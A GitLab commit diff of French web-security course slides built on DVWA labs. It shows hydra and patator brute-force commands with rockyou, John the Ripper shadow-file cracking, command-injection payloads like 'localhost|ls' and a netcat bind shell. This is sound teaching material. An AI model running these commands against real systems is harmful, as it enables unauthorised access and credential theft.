Skip to content
Snippets Groups Projects
Commit 551a2d7f authored by Vincent Mazenod's avatar Vincent Mazenod
Browse files

check to shellshock

parent b3d966c1
No related branches found
No related tags found
No related merge requests found
Pipeline #11418 failed
......@@ -152,7 +152,7 @@ Tags: cours
<li>
<a href="slides/1337/fi.html"
class="customizable">
LFI_RFI
File injection
</a>
</li>
<li>
......
......@@ -15,7 +15,10 @@ $( document ).ready(function() {
});
}
//event.preventDefault();
});
$('a.toggle').click(function() {
$("#" + $(this).attr('name')).closest('li').toggle();
});
$('a.customizable').click(function() {
......@@ -24,10 +27,6 @@ $( document ).ready(function() {
}
});
$('a.toggle').click(function() {
$("#" + $(this).attr('name')).closest('li').toggle();
});
});
\ No newline at end of file
content/slides/1337/images/authentication/dvwa-auth-high-follow-redirect.png

12.9 KiB

......@@ -3,7 +3,7 @@
## AKA burning cpu
### force brute
### <i class="fas fa-cogs"></i> force brute
* par dictionnaires
* liste d'utilisateurs + liste de mots de passe
......@@ -14,13 +14,13 @@
* du flaire etc ...
## force brute
### <i class="fas fa-cogs"></i> force brute
* par recherche
* combinatoire
* hybride
* décliner via des règles les propositions d'un dictionnaire
* leetspeakation automatique
* ["leetspeakation"](https://fr.wikipedia.org/wiki/Leet_speak) automatique
* [John the Ripper](http://www.openwall.com/john/) permet de générer des mots de passes dérivant de parties du username
......@@ -38,7 +38,7 @@ export security=low
export PHPSESSID=esiff3kfto23f7uit3vr90jks4
hydra -l admin \
-P /usr/share/wordlists/rockyou.txt \
vm-etu-vimazeno.local.isima.fr \
dv.wa \
http-form-get "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:H=Cookie\: PHPSESSID=${PHPSESSID}; security=${security};:Username and/or password incorrect."
```
......@@ -54,10 +54,10 @@ export PHPSESSID=esiff3kfto23f7uit3vr90jks4
```shell
patator http_fuzz method=GET follow=0 accept_cookie=0 --threads=1 --rate-limit=2 timeout=10 \
url="http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/brute/?username=admin&password=FILE0&Login=Login" \
url="http://dv.wa/vulnerabilities/brute/?username=admin&password=FILE0&Login=Login" \
0=/usr/share/wordlists/rockyou.txt \
header="Cookie: security=${security}; PHPSESSID=${PHPSESSID}" \
resolve="vm-etu-vimazeno.local.isima.fr:10.16.41.197" \
resolve="dv.wa:172.16.76.146" \
-x ignore:fgrep='Username and/or password incorrect.'
```
......@@ -98,7 +98,15 @@ envoyer la requête dans *Intruder*
* *Payload set*: 2 (token anti CSRF) -> *Recursive grep*
* onglet *Settings*
* *Grep - Extract* -> *add*
![Intruder / mot de passe](images/authentication/dvwa-auth-high-define-grep-extract.png)<!-- .element style="width: 90%" -->
![Intruder / token](images/authentication/dvwa-auth-high-define-grep-extract.png)<!-- .element style="width: 90%" -->
### <i class="fa-solid fa-bomb"></i> Brute force / high
* *Payload set*: 2 (token anti CSRF) -> *Recursive grep*
* onglet *Settings*
* *Redirections* -> *always*
![Intruder / folow redirect](images/authentication/dvwa-auth-high-follow-redirect.png)<!-- .element style="width: 90%" -->
### <i class="fa-solid fa-bomb"></i> Brute force / high
......@@ -113,14 +121,14 @@ envoyer la requête dans *Intruder*
![Intruder / Resolved](images/authentication/dvwa-auth-high-resolved.png)<!-- .element style="width: 90%" -->
## attaques offline
### <i class="fas fa-cogs"></i> force brute offline
* Dépend de la puissance de calcul
* Non furtive
* Reproductible
## attaques offline
### <i class="fas fa-cogs"></i> force brute offline
* [OPHCRACK (the time-memory-trade-off-cracker)](http://lasecwww.epfl.ch/~oechslin/projects/ophcrack/)
* monde windows
......@@ -130,7 +138,7 @@ envoyer la requête dans *Intruder*
* [Password Cracking: Lesson 2](http://www.computersecuritystudent.com/SECURITY_TOOLS/PASSWORD_CRACKING/lesson2/)
## attaques offline
### <i class="fas fa-cogs"></i> force brute offline
* [John the Ripper](http://www.openwall.com/john/)
* monde UNIX/BSD
......@@ -144,7 +152,7 @@ unshadow /etc/passwd /etc/shadow > mypasswd
* [Checking Password Complexity with John the Ripper](http://www.admin-magazine.com/Articles/John-the-Ripper)
## attaques par tables arc-en-ciel
### <i class="fas fa-cogs"></i> force brute rainbow table
* [CrackStation](https://crackstation.net/)
* avec la signature de smithy dans la table user
......@@ -154,7 +162,7 @@ unshadow /etc/passwd /etc/shadow > mypasswd
```
## <i class="fa fa-medkit"></i> Se protéger
### <i class="fa fa-medkit"></i> Se protéger
* instaurer des règles de durcissement au moment du choix du mot de passe
* pas contournable côté client ;)
......
......@@ -3,7 +3,7 @@
## aka [command injection](https://www.owasp.org/index.php/Command_Injection)
### CMDi / security low
### <i class="fas fa-cogs"></i> CMDi
* paramètres non filtrés
* la commande est écrite en dur
......@@ -13,7 +13,7 @@
* triviale mais assez rare
### CMDi / security low
### <i class="fa-solid fa-bomb"></i> CMDi / low
* Unix
* Pipeline
......@@ -26,7 +26,7 @@
* ou logique: **||**
### CMDi / security low
### <i class="fa-solid fa-bomb"></i> CMDi / low
```shell
localhost && ls
......@@ -52,7 +52,7 @@ Note:
- DVWA Security -> medium
### CMDi / security medium
### <i class="fa-solid fa-bomb"></i> CMDi / medium
les chaînes de caractères "&&" et ";" sont interdites
......@@ -90,7 +90,7 @@ Note:
- DVWA Security -> high
### CMDi / security high
### <i class="fa-solid fa-bomb"></i> CMDi / high
```shell
localhost|ls
......@@ -100,7 +100,7 @@ Note:
-détailler l'expression régulière
### CMDi / security impossible
### <i class="fa-solid fa-bomb"></i> CMDi / impossible
* l'approche est ici différente
* on ne cherche plus à éliminer les caractères dangereux
......@@ -114,7 +114,7 @@ Note:
-détailler l'expression régulière
## bind shell
### <i class="fas fa-cogs"></i> bind shell
* ex netcat
......@@ -134,7 +134,7 @@ sudo apt install ncat
ncat -v vm-etu-vimazeno.local.isima.fr 8080
```
* \o/ nous disposons d'un accès distant à la machine
* \o/ accès distant à la machine
* avec les permissions de l'utilisateur www-data
Note:
......@@ -150,7 +150,7 @@ Note:
- et netcat peu avoir été supprimé
## <i class="fa fa-medkit"></i> Se préserver
### <i class="fa fa-medkit"></i> Se préserver
* éviter les commandes [exec](http://php.net/manual/fr/function.exec.php), [shell_exec](http://php.net/manual/fr/function.shell-exec.php), [passtru](http://php.net/manual/fr/function.passthru.php) ou [system](http://php.net/manual/fr/function.system.php)
* utiliser shell_escape_args() en php
......@@ -165,7 +165,7 @@ Note:
- utiliser le cron system
## <i class="fa fa-medkit"></i> Se préserver
### <i class="fa fa-medkit"></i> Se préserver
* utiliser des listes blanches plutôt que des listes noires
* utiliser cron pour les traitements récurrents
......
......@@ -5,10 +5,7 @@ Reveal.addEventListener( "ready", (event) => {
let user = ''
if(document.location.href.indexOf("?") == -1) {
user = 'vimazeno';
}
else {
if(document.location.href.indexOf("?") != -1) {
user = document.location.href.substring(
document.location.href.indexOf("?")+1,
document.location.href.indexOf("#")
......@@ -34,7 +31,7 @@ Reveal.addEventListener( "ready", (event) => {
let url = new URL(link);
if (
url.origin == "http://vm-etu-vimazeno.local.isima.fr"
url.origin == "http://dv.wa"
&& user != ""
) {
a.href = "http://vm-etu-" + user + ".local.isima.fr" + url.pathname + url.search;
......@@ -46,7 +43,9 @@ Reveal.addEventListener( "ready", (event) => {
for (let code of document.getElementsByTagName("code")) {
code.innerHTML = code.innerHTML.replaceAll("vm-etu-vimazeno.local.isima.fr", "vm-etu-" + user + ".local.isima.fr");
if (user != "") {
code.innerHTML = code.innerHTML.replaceAll("dv.wa", "vm-etu-" + user + ".local.isima.fr");
}
}
......
0% Loading or .
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment